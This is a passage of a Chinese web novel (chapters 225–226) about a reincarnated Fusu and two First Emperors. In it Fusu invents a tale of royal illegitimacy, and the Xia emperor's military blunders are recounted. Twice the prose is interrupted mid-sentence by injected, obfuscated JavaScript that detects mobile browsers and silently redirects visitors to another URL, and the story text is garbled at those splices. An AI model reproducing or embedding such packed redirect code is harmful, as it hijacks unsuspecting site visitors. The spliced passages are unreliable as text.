随便找个借口让国库出钱干这干那,然后派自己的心腹去督办此事。这样就可以在其中中饱私囊,把抠出来的钱填入渊 第 225 章 随口一编 第225章随口一编 扶苏从来没想过,会有其他父亲不喜欢他。 也不能说不喜欢,就是对他无感。 虽然在扶苏目前的记忆里,他只见过自己阿父。但他就是莫名其妙觉得,所有父亲都应该喜欢他。 小太子一时有些沮丧。 不过他确实没什么资格和阿父比,秦王在他和阿父里选择阿父是正常的。 秦政摸了摸他脑袋: “阿苏有朕疼爱就好了。” 扶苏一想也是,于是满血复活。 秦王看着他们两个父慈子孝,表情没什么变化。他饶有兴致地盯着扶苏,似乎在思索什么东西。 片刻后,他问道: “梓桑是你的表字?” 扶苏乖巧点头。 秦王又问道: “朕看你不像是加冠了的样子。” 扶苏:??? 扶苏一时没反应过来秦王这话是什么意思,他迷茫地眨了眨眼,心想难道是因为自己这具身体太小了,看上去不像超过二十岁的? 秦政听懂了:…… 这是在说扶苏太幼稚了,不像成年人。 秦政觉得不能任由其他人埋汰他儿子,于是解释了一句: “阿苏加冠多年了,来此地之前已经七十有七。” 秦王的表情终于出现了一点变化,他有点匪夷所思地看向扶苏,上下打量了好一会儿。 最终,他选择诚实: “看不出来。” 扶苏:。 这还没完,秦王继续扎他的心: “朕都没活上七十七年,他是怎么活的?莫非是他有颗赤子之心?朕听闻生性纯质的人心宽体健,不会忧思过度。” 扶苏:我好像被骂了。 秦政掩住眼底的笑意: “阿苏以前也是思虑太多,身体便不太好。后来朕不叫他劳神了,这才将身体养好了些。” 秦王从中听出了一些深意,微微颔首便没有再多问。 若是因为孩子身体虚弱,才将人纵容得这么恣意,那倒可以理解了。他见梓桑这次穿越后换的身体也有些不太健壮,恐怕当爹的很是忧虑。 秦王唤 了人进来: “公子正既已归国,立储之事自该准备起来。尔等先将太子宫休整出来叫太子早日住进去。” 他现在给秦政安排的宫殿其实也不错尤其是发现秦政并非吕不韦后特意赐下了不少好东西。 太子宫一直在休整十几年没用了很多东西都要重新撤换才行。 之前不着急换是因为要麻痹夏帝。秦王以病重为借口骗夏帝把质子放了后续还打算假装诸子争权。 但既然已经确定了公子正确实是另一个始皇帝有些进度就可以加快了。区区夏帝还用不着他们太过戒备何况夏渊已经打起来了就算夏帝知道自己被骗又能如何呢? 秦王又对秦政说道: “你搬去太子宫住现在的住所便正好腾出来给梓桑。朕叫人给他和你一样的待遇再拨个太医日日盯着他身体很快就能养好了。” 秦政却摇头: “朕得亲自盯着他。” 这次轮到秦王无语了: “他是七十七岁不是七岁。” 扶苏心说不孤是一百二十八不是七十七。不过重生这事没必要拉出来说所以他选择安静如鸡。 最后秦王还是拗不过儿子接受了秦政的提议。 父子俩很快搬进了太子宫里。 扶苏好奇地追问父亲: “自己给自己当儿子是什么感觉?” 可惜秦政不记得地府的事情了不然还能反将一军问他自己给自己当弟弟是什么感觉。 问不了这个秦政还能问点别的: “他在原世界还有个长子扶苏 扶苏迅速反击: “那也总比阿父要喊他大兄好。” 秦政:…… 扶苏继续反击: “不过在见到他之前阿父怕是要先喊此界的秦国大公子为大兄。” 秦政选择揪住他的耳朵: “再说一遍。” 扶苏识时务者为俊杰: “我说错了阿父用不着喊大公子。阿父如今已是太子自然可以直呼他为公子??崇。” 穿越后的秦王延续了前世给儿子们起名的偏好继续起着同一类型 的名字。崇乃巍峨高山的意思充分展现了秦王希望儿子能长得高高大大的朴素愿望。 扶苏还和父亲吐槽过这事: “这比直接叫高要有内涵得多。” 秦政却说: “又不是只有朕一人给次子取名为高他不也是?” “他”指的就是秦王了。 秦政听不得爱子夸别的父亲 扶苏果断转移话题: “那后头的弟弟怎么不起这类的名字了?” 荣禄、胡亥这些听着就和高大没什么关系。亥好歹说的是野猪勉强能算是希望儿子长得壮实荣禄就明显只是想叫儿子以后锦衣荣华不愁吃穿。 秦政皱眉: “荣禄自小就胖再长得高那就是一堵肉山了还不如叫他享尽富贵。你那会儿总是欺负弟弟朕还忧心你会不给他们饭吃。” 扶苏:??? 扶苏超大声地反驳: “我才没有!” 秦政淡淡地说: “他们要是不肯乖乖干活你肯定要饿他们两顿的。” 扶苏无法反驳了。 至于胡亥秦政提都没提。 他催促儿子去看看新的寝殿可还喜欢若是哪里不好叫他们再去改改。 秦王对于秦政连儿子的寝殿都要安排在自己隔壁很不能理解跟儿子住在一起不会影响日后纳妾吗? 但秦政明显一副“有太子万事足”的模样还不见得乐意再生。 秦王问起他就说: “你多生几个朕养一个梓桑就已经很费劲了没空管他们。” 都是始皇帝谁生都一样。 秦王:…… 过了一段时间秦政又提议: “你要是不想生朕让阿苏成年后多生几个。届时孩子就交给你来带你也算是孩子的祖父了。” 顿了顿改口:“曾祖父。” 秦王:………… 秦王摁住了太阳穴: “你怕不是忘了他这副身体是渊国公子的不是我大秦公子的。何况你自己都不带的孙子还想丢给朕带?朕连朕亲生的孙儿都没带过。” 别说孙子了他儿子都没怎么带过也就 一个长子稍微带了带。 结果秦政也皱眉了: “朕也没带过旁的儿子,只从小养大了梓桑,又顺带着教养了一下他的长子桥松。 两人面面相觑。 秦王很快抓住重点: “梓桑是你亲自养大的?桥松你也养过一段时间? 秦政知道他想说什么了。 果不其然,秦王很快就断言: “你比较有经验,以后的孩子都丢给你养吧。 秦政:。 两人于是不欢而散。 扶苏听父亲说了此事,乐得不行: “你们这样好像那种不负责任的长辈,只管生不管养,都想当甩手掌柜。 秦政却毫不心虚: “朕至少自己养大了长子。 啥也不养的扶苏默默闭上了嘴巴。 秦王对于扶苏的工作能力并不怀疑,但是对他的身体素质充满了不信任。所以每日只把秦政薅过去帮忙干活,直接放养了扶苏。 扶苏一开始还有些郁闷,过了几天就开始庆幸起来。 这位始皇帝比他阿父还勤政。 年幼体弱的小梓桑开开心心地每天在秦王宫里快乐玩耍,悠闲得令人嫉妒。就是身体没长壮实太多,可能和基因有关。 隔了一段时间秦王终于有点空闲了,就把儿女们都叫上一起吃了顿饭。扶苏跟着父亲入座,秦王才发现他的养胖计划一点成果都没有。 秦王便问身边的侍官: “公子桑平日可是不肯好好吃饭? 侍官诚实地回答: “公子桑一顿饭吃三大碗。 秦王:…… 能吃但瘦弱,第一次见,吃下去的饭都长哪里去了? 扶苏也不知道。 秦王只好多拨了一些份例给他。 答应人家父亲要把小孩养好,那就不能食言。何况这到底是扶苏,不是什么外人,他也挺关心小孩身体状况的。 坐在旁边的三公子就有些不高兴了。 次日扶苏出门溜达,被他堵在了园子里。 大秦公子当然不像夏国的那么弱智,一点身为王室公子的样子都没有。 三公子虽然不太喜欢这个突然冒出来的家伙,心里 不解父王为何这么在意区区质子,但面上还是能维持住和平的。 三公子上下打量了他片刻: “你是怎么哄得父王偏疼你的? 哪怕跟前的是个秦国臣子家的孩子,他也就认了。只当父王是要拉拢重臣,或者就是看臣子家中的孩子合眼缘。 那至少还是他们秦人。 可跟前这个却是渊国公子,渊国公子在他们大秦待着,不就和质子差不多?质子身份低微,受人排挤,怎么父王反而喜欢他呢? 父王给他的待遇都比亲儿子好了! 他这个三公子比不过太子就算了,连个质子都比不过,说出去不要面子的吗? 扶苏想了想,觉得自己应该找个法子一劳永逸地解决这个问题,不然以后老有人用有色眼镜看他。 他都回到自己老家了,还要被人当成质子,他多冤呢。 所以扶苏叹了口气: “既然你问了,我也就不瞒着你了。 三公子好奇地看着他: “这里头莫非有什么隐情? 扶苏绷紧小脸。 他虽然长得更像祖父子楚一些,却到底也是秦政亲生的,不可能不遗传父亲的相貌。平时两人气质不同容易叫人忽略,但若刻意模仿父亲的话,那点相似就非常明显了。 三公子一愣,继而就是惊讶: “你——! 扶苏冲他眨眨眼: “看出来了吧?我是秦王的私生子,我娘是渊国公主。他们两个有过一段露水情缘,后来不了了之。 “我娘回渊国生下我就去世了,渊王是我舅舅。但是舅舅不怎么在意我这个外甥,随便丢在宫里充作公子养。 “夏国问渊王要质子,他舍不得自己儿子,就把我送去了。要不怎么偏偏送我呢?因为我不是他亲生的啊! 逻辑无懈可击。 三公子被说服了: “天啊,你居然是我弟弟! 三公子秦宏是个很好骗的小少年,虽然这个年纪的小孩没有哪个在扶苏跟前属于不好骗的,可他还是格外好骗了一点。 他开始主动帮扶苏补充细节了: “难怪之前在夏国的时候,二哥主动照顾你,原来是知道了你的身份。 扶苏 随口一编,见他就这么信了,顿时开始在心里感慨起来——大家都是同一个爹生的,智商差距怎么就这么大? 这小少年感觉比他那堆弟妹还单纯。 三公子继续追问: “我听说你是去年才开始受到二哥接济的,是不是因为最初你没跟他说你的身世?你怎么不早说呢?” “他们都讲你在夏国饭都吃不饱,比二哥还惨。你要是早点和二哥相认,二哥肯定早就照顾你了。” “你看看这小胳膊小腿的,还没我一半粗。不怪二哥知道真相之后对你这么照顾,父王恐怕也是觉得亏欠你了,才什么好东西都紧着你吧!” 他嘚吧嘚吧分析了一大通,自己把自己说服了。原本生出的一点嫉妒心理也荡然无存,忽然觉得自己不该和命运悲惨的弟弟攀比这个。 三公子扭头就吩咐侍从: “你回去就把我小时候的那些玩具都挑拣出来,送去给四公子。” 这就叫上四公子了。 扶苏忽然发现,他在渊国也是四公子,在秦国也是四公子。可见他合该成为大秦四公子,排序都不用改。 这都是上天的安排。 如果三公子不是送他玩具就更好了,他这么大个人,不需要玩具。 扶苏试图劝阻: “我不爱玩玩具。” 三公子瞪他一眼: “你个小孩子不要那么客气,你哥我已经过了玩玩具的年纪,用不上了。这些东西送给你你就收着,不是什么值钱的东西。” 这话听着容易叫人误会,换个心眼多的恐怕要以为三公子在拿破烂打发自己,顺便提醒弟弟“我长大了你还小,你乖乖玩去吧,别想着争夺储位”。 扶苏心想,这位三公子说话这么容易得罪人,就没有人教过他改正吗? 最终,扶苏还是收到了“哥哥”们送来的礼物。不仅有小玩具,还有很多其他的东西。 大公子额外送了他一些笔墨纸砚和书本字帖,说叫他好好学习。三公子则送了他一些吃食,都是小孩子爱吃的甜口。 秦王和渊国公主的露水姻缘广为传播,不多时便传遍了咸阳。 秦王本人虽然不是最后一个听说的,但他听说的时候也确实挺晚的了。根本来不及辟谣,谣言就

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375640|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 已经深入人心。 面对侍官纠结的表情。 秦王冷静地表示: “不必管他,谣言也无需控制。” 侍官常年陪伴在王上身侧,哪里能不清楚王上有没有和什么渊国公主有过来往?他们十分惊讶公子桑敢胡说八道,是真的不怕秦王怪罪。 秦王却在心里想着,这算什么大事? 他亲儿子,腹黑版本的扶苏,就没少搞事。秦王已经很习惯扶苏的一肚子坏水了,他从一开始就没觉得秦梓桑会是个安分的主。 果不其然,让他逮到了吧? 所有扶苏都是一样的,一样不听话,全是逆子。秦政还说他儿子乖巧懂事听话体贴,尽是胡扯。 秦王把这件事抛之脑后,只在秦政过来的时候和他提了一句。 秦政并不意外: “梓桑从小就没受过委屈,应是旁人拿对待质子的态度对他,他不高兴了。” 秦王一想也是: “是朕有些疏忽了,确实不好叫我大秦太子受这等委屈。” 秦政又道: “他被人欺负了怎么不同朕说?” 秦王:“……他还用得着同你说?他都先斩后奏把事情解决了。” 自己都没跟他计较不请示父亲私自传播秦王谣言的事,他亲儿子都没这个熊心豹子胆! 秦政却早已习惯: “梓桑到底是当过皇帝的人。” 秦王:所以你就纵容他肆意僭越是吗? 秦王跟他亲儿子相处从不这样。 他再看重长子,他也先是君后是父。长子很懂分寸,不会在这上头掉链子,一直都很妥善地努力维护着父亲独一无二的权威。 秦王觉得,秦政和秦梓桑的相处倒更像民间的寻常父子。 秦政瞥他一眼: “你不会懂的。” 他有的是其他儿女敬他畏他,难得阿苏不怕父亲,阿苏是不一样的。帝王的权威在哪里不能彰显?他可不想所有儿女都那般怕他,好歹得有一人不同。 秦政很快就结束了和秦王的谈话,急匆匆回去问儿子可是受了欺负。 扶苏正在吃便宜三哥给的糕点: “没有吧?他们都傻乎乎的,特别好骗。我随口一编,就全信了。” 秦政不信,又叫来侍从询问。侍从一直跟随公子桑出行,肯定知道内情。 侍从想了想,摇头表示没有。 秦政这才放心: “下回有事第一个同朕说。” 扶苏没怎么犹豫就答应了。 他第二天出门听到了最新版本的流言。 说是章台宫里的侍从原本还奇怪,王上分明没和什么渊国公主有过来往。结果前去禀报王上后,王上居然不曾否认,也没有叫人澄清流言的意思。 这下传闻就被彻底证实了,所有人都信了扶苏不是渊桑而是秦桑,是大秦的四公子不是渊国的四公子。 那群侍从还绞尽脑汁回忆王上到底是什么时候在他们的眼皮子底下和渊国公主春风一度的。 最后他们得出了一个结论: “许是渊国公主假扮成侍女混入了秦王宫中。” 毕竟王上这些年身边相处最多的就是侍女,姬妾反而见得少。不进后宫后,只有可能是临幸了侍女,不然说不通。 章台宫也不是所有宫侍都侍奉了秦王十几年的,好些侍从年纪大了就调去了其他地方当值,换了新人上来。 到底是十一二年前的旧事,过去了太久,已经不可考。秦王没说要查,别人只能稍稍问问,又不可能跑去查个底朝天。 流言编得有鼻子有眼。 扶苏听到二公主活泼地和姐姐分享: “是真的!他们都这么说!说是父王一开始不知道自己还有个四子,这才叫四弟吃了那么多苦。就是去年安插在渊王宫里的探子偶然查出了这桩往事,父王才紧急传讯给二哥,叫二哥去照顾四弟的。” 大公主认真点头: “原来如此,难怪我们以前都不曾听说。” 扶苏:…… 这群人是不是有点闲?再这么下去怕是连秦王怎么和渊国公主相处的都能编出来了吧? 姐妹俩结伴绕过树丛,突然看见了扶苏,顿时眼前一亮。 大公主拎着裙摆走过来: “是小四呀!” 少女亭亭玉立,已是抽条的年纪。个头比扶苏高多了,扶苏还得抬头看她们。 二公主拉起扶苏的小手: “走,跟姐姐去前头看小鱼。趁着天气还不太 冷等天冷了鱼儿就不爱动弹了。” 大公主也说: “冬日里水面要结冰的你之前在夏国住着不晓得。夏国都城比我们这儿暖和一些听说下雪都少。” 扶苏一头雾水: “咸阳冬日里河面会结冰?” 他在咸阳住了一百多年怎么不知道? 扶苏不知道是正常的。 先秦时期的气候与现代不同那会儿零度线在黄河流域。到了唐朝的时候气候还是很热大家衣着都非常轻便对比明清时期堪称是“暴露”。 明朝是小冰河时期气候转冷。女性的衣裳包裹得越来越严实除了社会风气变差的缘故外也有气候寒冷的因素在。 扶苏生活的咸阳气候大约类似于后世的长江流域冬天冷得不行夏天热得要死。 所以始皇帝陛下喜欢借巡游的由头夏日停留在东海岸避暑。而冬天这个气候下冬日的江河是不会结冰的 大部分的小说作者习惯以现代的地理条件来书写古代故事就会出现气候和地形上的乌龙。 不止是温度像鄱阳湖那种后世出名的大湖先秦时期还是一片沼泽呢。 如今已是深秋即将入冬。 习惯了零度线气候的太子殿下很快就会感受到来自零下十多度的打击。 这篇小说估计写得比较早。 近年来西安等地冬天没这么冷了天气变暖后冬日河流也不会年年结冰。但是再往前二十年甚至还出现过零下二十多度的极端低温。 今年的降温速度极快。 扶苏觉得昨日气温还好今日早晨刚把手伸出被子就冻得缩了回去。 半夜好像听到屋子里有过动静。 秦政进入西稍间见儿子窝在被子里不动弹伸手试了试他的额头温度所幸没有发烧感冒。 降温是夜里开始的侍从急急忙忙去取了炭盆来这才闹出点动静。方才炭烧完了恰好去取新炭就叫扶苏感受到了寒冷。 秦政给他把被子掖了掖: “你的冬衣都在夏国没带来制衣司原在给你做新的未料想今年这么早就降温。” 还没正式入冬呢扶苏来得迟冬衣没做好并不奇怪 第 226 章 兄与弟 第226章兄与弟 虽然渊楚怀孕了,但其实并不影响扶苏隔三差五去看看对方。女子怀孕辛苦,他也想去看看渊楚需不需要帮忙。 亲眼见证另一个自己出生也是一件挺有趣的事情。 当然,扶苏其实不确定这怀的就是他自己。 两位父亲倒是很笃定。 秦王特意叮嘱过要好好照顾淑妃这一胎,是以宫中无人敢给她不痛快。 秦宫里没什么宫斗事件,并不像渊宫那么乱。渊楚又是在渊宫长大的,经验十足,应付旁人的坑害其实非常得心应手。 不过秦王并没有给她这个机会。 当大秦之主真正想护住一个人时,旁人的阴谋诡计绝对舞不到正主面前。尤其在先前有扶苏替他阿娘趟过雷后,如今宫里已经彻底没人敢造次了。 那回的事件结束后,宫里可是进行了一番大清洗。许多侍从都被降罪处置了,秦王也没料到宫中盘根错节勾连出了那么多见不得人的事情。 这日扶苏又一次前来。 渊楚还没显怀,见到他先拉着小少年的手试了试温度。 而后就有些埋怨: “外面那么冷,你乱跑什么?手炉也不带,手都凉了。” 扶苏接过侍女奉上来的手炉暖手: “我手凉您还抓着我不放,也不怕着凉。到时候父亲知道了,肯定要说我。” 渊楚听他酸溜溜的语气便笑了: “他最疼你了,不会为了弟妹冷落你的。” 旁人都说太子最受宠,她瞧着倒是四公子最受宠。太子同王上相处根本不像君臣父子,反而有点旗鼓相当的意味,看起来怪怪的。 扶苏轻“呵”了一声。 这肚子里的如果是寻常弟妹,那肯定比不过他。但如果是秦王亲生的长子,扶苏这个外来的肯定要靠边站。 他没和渊楚纠结这个,问起母亲最近害喜是否厉害。 渊楚抿唇一笑: “旁的孕妇吃羊肉嫌弃膻,吃鱼肉嫌腥,还爱吃酸的。我倒同她们反过来了,如今吃着这些觉得很美味,倒是酸的东西有些受不住。” 她说着就用一双美眸盯着扶苏笑,意思不言而喻。 这一家子父子三个,口味一模一样。喜欢吃鱼羊鲜,爱甜嗜辣讨厌酸味。 秦宫里做饭调味,用的不少酱其实都是酸梅制成的,或者加了醋。但她发现王上和梓桑吃一口就不碰了,以前不知道为什么,仔细观察才晓得是怕酸。 肚子里这个也是如此。 扶苏失望地叹气,这么看来,生的八成就是另一个他了。 冬日里能吃的河鲜不多,尤其今年天气格外的冷。河面早早就冻严实了,捞鱼都不方便。 为了叫淑妃娘娘日日能吃上鱼,特意安排了人在河上凿冰。日日都凿的话,冰洞就不会冻得太厚太严实,钓鱼会方便一些。 扶苏心血来潮去钓了一回,原以为会和穿越前一样空军,没想到直接就上鱼了。他有些懵,怀疑是不是穿越后运势发生了改变。 后来那条鱼送来给渊楚加餐了。 秦政知道后什么都没说,只是连吃了三天的鱼。鱼汤面炸鱼排汆鱼丸,换着花样吃。 扶苏后知后觉想起来,他钓了鱼只记得孝敬怀孕的阿娘,忘了亲爹。 阿父又吃醋了。 唉,真是甜蜜的烦恼。 扶苏焐了焐手: “方才去钓鱼了,手炉里的炭燃尽,这才没有拿手炉。 说着让人把他钓的鱼分一条给母亲,又在宫里坐了一会儿,就回了太子宫。他钓了四条,额外分了一条给秦王,剩下两条都送回太子宫里了。 秦政傍晚吃暮食时一下就认出了: “又去钓鱼了?天气那么冷,不是叫你少出门? 宫内供应的鱼会挑品相好的,不像他家梓桑,钓到什么是什么。毕竟也不能指望他能幸运地恰好钓上来品相好的鱼,有的吃就不错了。 扶苏嫌弃在屋子里待着闷: “明日要下雪,趁着今日天气好出门走走。 秦政扫了一眼他的双手: “仔细生冻疮。 他见儿子的手有些发红,也不知道是不是灯火下的错觉。但还是让人送了药膏过来,让扶苏厚厚抹了一层。 得亏是吃完饭抹的,不然筷子都不好拿,吃饭都要人喂了。 消过食后,扶苏就借口手上都是药膏不方便习武,赖掉了今日份的健身。秦政拿他没辙 ,只好从别的方面报复回来。 比如叮嘱侍从: “明日落雪之后盯住了公子,不许他去玩雪。 扶苏:阿父好严格! 见扶苏眼巴巴盯着自己,秦政一点都没有退让的意思。 扶苏手都红了,再不好好保暖,冻疮发出来只会更难受。又痒又疼,可不是说着玩的。 总之他这几天别想碰冰凉的东西。 夜里回自己屋休息时,虽然手上的药膏干了,但扶苏嫌弃它们硬邦邦地扒在皮肤上很不舒服,手指都没办法蜷缩。 立刻指挥人倒了温水来,把手上的药膏给洗掉了。 侍从们不敢有意见,可见公子洗掉药膏后就准备直接休息,不肯再抹一层,到底还是急了。 侍女连忙劝道: “太子吩咐了要好好保养手的! 扶苏把手缩进被子里: “被子里很温暖,不需要药膏了。 侍女一下子不知道该怎么劝。 扶苏就问她要了手炉: “我抱着手炉睡。 特制的手炉不会将里头的炭撒出来,很安全。但炭燃尽后金属壳子的手炉会渐渐变凉,到时候反而会冻手。 何况公子睡姿不好,回头翻身时只怕要被不知道丢去床上哪里的手炉硌到。 侍女无法,只好扭头去告状。 秦政很快杀了过来。 扶苏心虚地缩成一团: “我睡了,阿父。 秦政到底没训他,直接躺上床。一手一个捉住他的两只小手,给他当了人形暖炉。 扶苏还挺高兴的,躲过了一次训斥。 这一夜扶苏睡得格外踏实。 被子里有个热源总是比光靠自己的体温暖被窝舒服些,哪怕屋子里燃了不少炭盆。外头实在太冷了,炭盆也没办法点得太多,难免捉襟见肘。 秦政早晨起床时小少年还在睡。 在秦宫过得无忧无虑后,扶苏的个头就长得更快了。像是之前的亏损都在被飞快补足,明明没到抽条的年纪,也一天一个样。 秦政看着脸上已经渐渐没了稚气的儿子,不由感慨时间过得真快。轻手轻脚地把乖乖团在怀里的儿子单独放回被窝里,企图抽身离开。 昨晚这小子睡得很安分竟然没有翻来覆去。可见是被外头冻着了抱着“暖炉”就不撒手。 发现怀里空了少年人立刻睁眼: “阿父?” 秦政给他把脸上粘着的头发拨开掖好了被子调整出了个舒适的状态。而后低声哄了两句让儿子继续睡。 扶苏困倦地眨了眨眼很快就重新入睡了。 秦政则要去上早朝。 当儿子的可以睡懒觉两位父亲却要早早起身处理国事。 出征的秦兵刚到目的地没多久就传来了好消息夏军大溃。不过秦军没准备痛打落水狗他们只是来捡漏的主要目的还是想削弱夏渊双方的军事实力。 若非夏国近期有攻克渊国关塞的迹象秦国也不会出手。秦国要的是两国持续消耗并不希望其中哪一方占据上风。 渊王之前紧急送公主来联姻求援就是因为关隘要失守。如今秦军已经帮他们解决了这个小问题剩下的反击自然该渊国自己来。 所以秦军很快调转方向离开了这一片战场去抢占夏国的其他地盘了。 渊王因为秦国的骚操作被气着了来信谴责秦国不守信用。说好一起对战夏国大军结果秦国打一轮就跑了。 秦国对此理直气壮。 他们去打其他地方的夏国驻军怎么就不是帮忙打夏国了?何况联姻的时候只说了要帮夏国解决这次的燃眉之急又没要求必须把夏军彻底歼灭。 渊国拿秦国没有办法公主已经送了他们又没有辖制秦国的手段。送去的公主还是和渊王有旧怨的 只能不了了之自认倒霉。 另一头夏帝也因为秦国的操作被气着了。 秦军横插一杠击溃了夏国军队不说还趁着大军都被牵制在了渊国战场上跑去偷袭其他夏国城池简直无耻。 对此秦政质疑: “攻渊之前都不知道分一些军队防守秦国可能出兵的路线夏国莫非已经没有大将了?” 夏帝的操作就是典型的门外汉操作。 混混聚众打架还知道要先拦路防止有其他人来支援呢他就不懂。 哪怕一开始盲目相信秦王听话顺从所以才不设防。后来发现上当 受骗了,不也应该及时安排军队过来吗? 秦国探子传来的消息却是: “渊国战事胶着,夏国因而将周边的军队都调了过去。没多久,便隐隐有了攻克渊国关隘的迹象。” 也就是说,本来各地还有驻军的。哪怕不特意安排人防备秦国大军,有驻军在好歹可以挡一挡。 但夏帝他是个大聪明,他觉得攻不下渊国是因为人手不够,所以就近抽调了一些。 抽调完确实效果显著,渊国开始节节败退了,自家也给秦国开了空门。 谁看了不夸一句聪明机智。 未料想军事上还能见到拆东墙补西墙的骚操作。 还是那句话,夏国无将了吗? 大将当然是有的,只是夏帝觉得大将的建议不值得听取。他直接否决了大将的决策,自己来当那个排兵布阵的人。 秦王对此习以为常: “他十五年前就这样。” 十五年前秦王刚成年,遭遇夏国大军压境。国内都很紧张,结果打完发现夏军不过如此。 不是军队实力太差,是元帅不行。 秦王只说了一句话: “夏帝当时御驾亲征。” 秦政:…… 秦政懂了,他彻底懂了。 所以说不懂军事的人没事不要玩什么御驾亲征,就算非要来,你也别指手画脚的,乖乖坐着看将军们发号施令就行了。 但秦政还有不解: “他十五年前便战事不利,怎么如今还是这副德行?” 秦王觉得他还是有长进的: “最起码这一次没有御驾亲征。” 秦政:御驾亲征这事过不去了是吧? 秦王叫来了一位将军,为太子详细讲解一下十五年前的战役详情。 秦政认真听完,终于对夏帝的军事能力和他的迷之操作有了大概的了解,弄懂了对方为什么这么奇怪。 十五年前,夏帝刚刚继位。 当时的他是个满怀壮志的青年,误以为敌人都是菜狗。 他看北边的蛮王觉得那是个大老粗,只会拼蛮力,不懂军法谋略。 他看西边的秦王觉得是个被权臣把控的傀儡,秦国又弱,打他们就跟玩似的。 看南边的渊 王又觉得老渊王快死了人老了就胆怯怕死根本不敢抵抗他们大夏。 总之放眼四海没有英雄。 夏帝从小是听着夏国灭海的丰功伟绩长大的不仅对一统天下充满了野望也同时对夏国现状不太满意。 因为国人都在吹捧当初率领夏军灭海的大将军夸赞他功勋赫赫。反观大将军的伯乐夏国先帝却遭到了国人质疑说他丧失了雄心壮志。 夏帝一边利用这点抹黑他爹取而代之。一边又很不满大将军抢走灭国风头国人难道不该夸赞君主英明吗?将军只是个听令行事的臣子罢了! 小肚鸡肠的君主是这样的。 自己的军功是自己的 反正臣子绝对不能抢君主的风头抢了就是原罪就要被打压。 怀揣着这样的想法夏帝开始排挤将军。 可怜人家大将军才灭一国就开始无仗可打被迫沉寂了十几年。本以为锐意进取的新帝上位自己还能重新发光发热结果迎来的是打压。 怎么才能解决君王被抢风头的问题? 夏帝一拍脑袋——御驾亲征。 只要军中最大的首领是自己功劳就肯定不会被臣子抢去了逻辑多完美啊! 起初夏帝只是想去蹭功劳的。 虽然御驾亲征了但他并没有领兵打仗的想法。一来要保护自己二来没经验担心会吃败仗。 可在前线呆了一段时间后他的想法渐渐转变了。当时几国都节节败退给了夏帝一种“我上我也行”的错觉。 夏帝开始觉得打仗嘛就那么回事简单得很。所以要什么将军朕自己就可以来这样朕的军功说出去还更有底气。 秦王补充道: “他一接手军队朕就知道时机来了。” 当时大秦没什么大将先前辅政的大将军去世了国内青黄不接。秦王也有尝试从外头吸引人才不过时间还短效果不足。 主要是夏国对于灭三国的宣传太足很多人才都怀疑秦国国祚不长不肯过来白费功夫。 而且秦王更多的重心放在内政治理上。 一名厉害的大将 在战场上能发挥的作用是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375641|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的,秦政招揽来的二流将领抵挡不住。 好在夏帝自己把大将丢开了,亲自上阵。这么一来,秦国将领打夏军就跟玩似的了,根本不费吹灰之力。 秦政挑眉: “秦国节节败退,只怕也是故意做出的假象。再挑拨一下夏帝的野心,他自然会选择一展拳脚。 要知道当时秦王都十七八岁了。 几个月大就继位,哪怕不算上前头几年幼生期大权旁落的时候,后头十年难道还会什么都不做? 秦王矜持地颔首: “夏帝身边的大太监里有朕的人。 能一起随军的大太监,必然是夏帝最信任的。结果这是秦王的人,关键时候吹耳旁风狠狠坑了夏帝一把,这才是始皇帝的正常水平。 一直被动挨打才不正常。 夏帝自己是不知道这些内情的,他只知道自从他接手了军队后,夏军就没怎么打过大型的胜仗。 小胜还是有,可是之前积累的优势荡然无存。各国开始靠着天险和互相驰援,把夏军拖入了消耗战。 第一次出兵因此以失败告终。 之后夏军休整了几个月,再次发兵。他又让大将军领兵,然后发现局势大好之后,就再一次蠢蠢欲动,亲自统兵。 结果和上次没有区别。 不过夏帝身边的大太监却吹捧他,说他比之前有进步。拿了战绩出来对比,最后得出结论胜场比上回多了不少。 ——陛下再练一练,以后必然成为绝世名将! 大将军听了这些吹捧还能端得住,佞幸都是这样的,什么瞎话都敢说。但当他发现夏帝居然信以为真后,他就坐不住了。 夏国要完,还是赶紧跑路吧。 秦王因此成功招揽到了这位将军,堪称是不费吹灰之力。 这些年大将军一直在为大秦扫荡戎狄,战功赫赫。可惜年纪大了些,不能再频繁上战场了。 毕竟距离灭海都过去三十多年了。 秦政倒是觉得问题不大: “将军老当益壮,还有的是机会在战场上发光发热。 秦王也深以为然。 白起、王翦都是老将,大将军年纪和他们差不多,还是能赶上一统天下的。 如今夏国没了这位大将,剩下的将军能力略逊一筹。暂时还没培养出能接班的将领来,就算培养出了估计也白搭。 这十几年夏帝韬光养晦,不知道在养个什么劲。现在看他那副样子,秦王怀疑他在私底下苦读兵书。 十多年了,兵书琢磨透了,所以重新觉得自己又可以了。 没有御驾亲征不要紧,调度大军的还是他,军功还在他身上。将军只是替他打仗的棋子,他把大局布好,将军做个执行人就行了。 夏帝自以为自己表现不错。 看他多懂抓大放小啊!他可是只做整体的调度,具体怎么打他都没插手的!比起某些亲自画阵图不许将军自作主张的家伙,他可太信任将军们的能力了! 秦政:……朕无话可说。 夏帝是真情实感地觉得自己的布局很不错,渊国战场上的成果估计还助长了他的气焰。 至于后续被秦国打爆,那绝对不是他布阵上存在疏漏,单纯就是秦人狡诈。 ——可提前预防敌人袭击本来也该是统筹全军的大将应该顾虑到的问题才对。 秦政觉得打夏国没什么好看的了: “夏帝要是坚持自己当元帅,夏国应该很快就能覆灭。” 秦王心情不错: 